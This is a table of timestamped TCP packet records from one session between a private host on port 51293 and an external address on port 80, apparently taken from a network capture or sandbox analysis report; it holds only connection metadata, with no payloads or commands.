Oct 8, 2024 02:45:24.592128992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592153072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592164993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592185974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592197895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592217922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592230082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592251062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592261076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592283964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592293978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592327118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.597848892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.597899914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.597908974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.597934008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.597943068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.597979069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598067045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598098993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598119020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598130941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598136902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598164082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598170996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598196983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598242044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598449945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598480940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598503113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598515034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598526001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598547935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598557949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598581076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598592043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598614931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598624945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598649025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598659992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598681927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598692894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598715067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598726988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598750114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.598758936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.598794937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.599180937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.599212885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.599231958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.599244118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.599252939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.599284887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636387110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636439085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636471033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636504889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636507034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636507034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636507034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636545897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636651993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636684895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636707067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636719942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636733055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636748075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.636780024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.636791945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677006006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677061081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677093029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677098036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677125931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677125931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677149057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677170992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677176952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677211046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677223921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677242994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677253962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677274942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.677285910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.677319050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678481102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678541899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678579092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678613901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678628922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678657055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678745985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678776979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678801060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678808928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678843975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.678853035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678853035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.678889990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679183006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679215908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679238081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679248095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679258108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679282904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679291010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679316044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679327965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679348946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679362059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679383039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679399014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679434061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679446936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679477930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679826975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679858923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679883003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679891109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679902077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679923058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679935932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679955959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.679976940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.679989100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680001974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680022001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680032969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680053949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680064917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680087090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680114985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680121899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680138111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680170059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680182934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680222034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680650949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680684090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680707932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680718899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680772066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680808067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680821896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680835962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680852890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680867910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680881977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680901051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680913925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680934906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680947065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.680967093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.680979967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681000948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681013107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681034088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681044102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681066036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681078911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681113005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681648970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681683064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681705952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681715012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681725979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681747913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681761026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681782007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681794882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681814909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681827068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681847095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681859970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681879997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681893110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681911945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681925058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681945086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681956053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.681977034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.681988001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682022095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682415962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682564974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682583094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682615995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682635069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682647943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682657957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682681084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682691097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682714939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682739973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682748079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682760000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682780027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682812929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682828903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682845116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682867050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682877064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.682893038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.682923079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683476925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683511019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683536053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683542967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683545113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683576107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683595896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683608055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683620930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683640957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683655024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683691978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683700085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683733940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683746099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683765888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683779001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683799028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683810949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683830976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.683844090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.683887959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.684098959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.684132099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.684149981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.684165001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.684170008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.684206009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688364983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688415051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688424110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688443899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688457012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688491106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688524961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688556910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688584089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688595057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688659906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688692093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688713074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688731909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688797951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688863993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688894033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688910007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.688940048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688971043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.688986063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689002991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689017057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689043999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689105988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689137936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689150095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689171076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689177990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689203978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689213991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689239025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689244032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689266920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689277887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689308882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689346075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689373970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689393044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689413071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689424038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689455986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689486027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689518929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689522982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689522982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689553022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.689560890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.689593077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.727520943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727629900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727662086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727695942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727706909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.727706909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.727706909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.727860928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.727863073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727895975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727904081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.727930069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.727976084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.767673016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.767708063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.767741919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.767769098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.767796993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.767796993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.768847942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.768881083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.768908978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.768920898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.768929005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.768971920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.768985033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769017935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769031048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769051075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769059896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769079924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769098043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769126892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769187927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769220114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769237995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769253016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769264936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769298077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769318104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769361973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769501925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769534111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769565105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769567966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769567966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769598961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769632101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769648075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769664049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.769680977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.769704103 CEST	51293	80	192.168.2.4	95.164.90.97
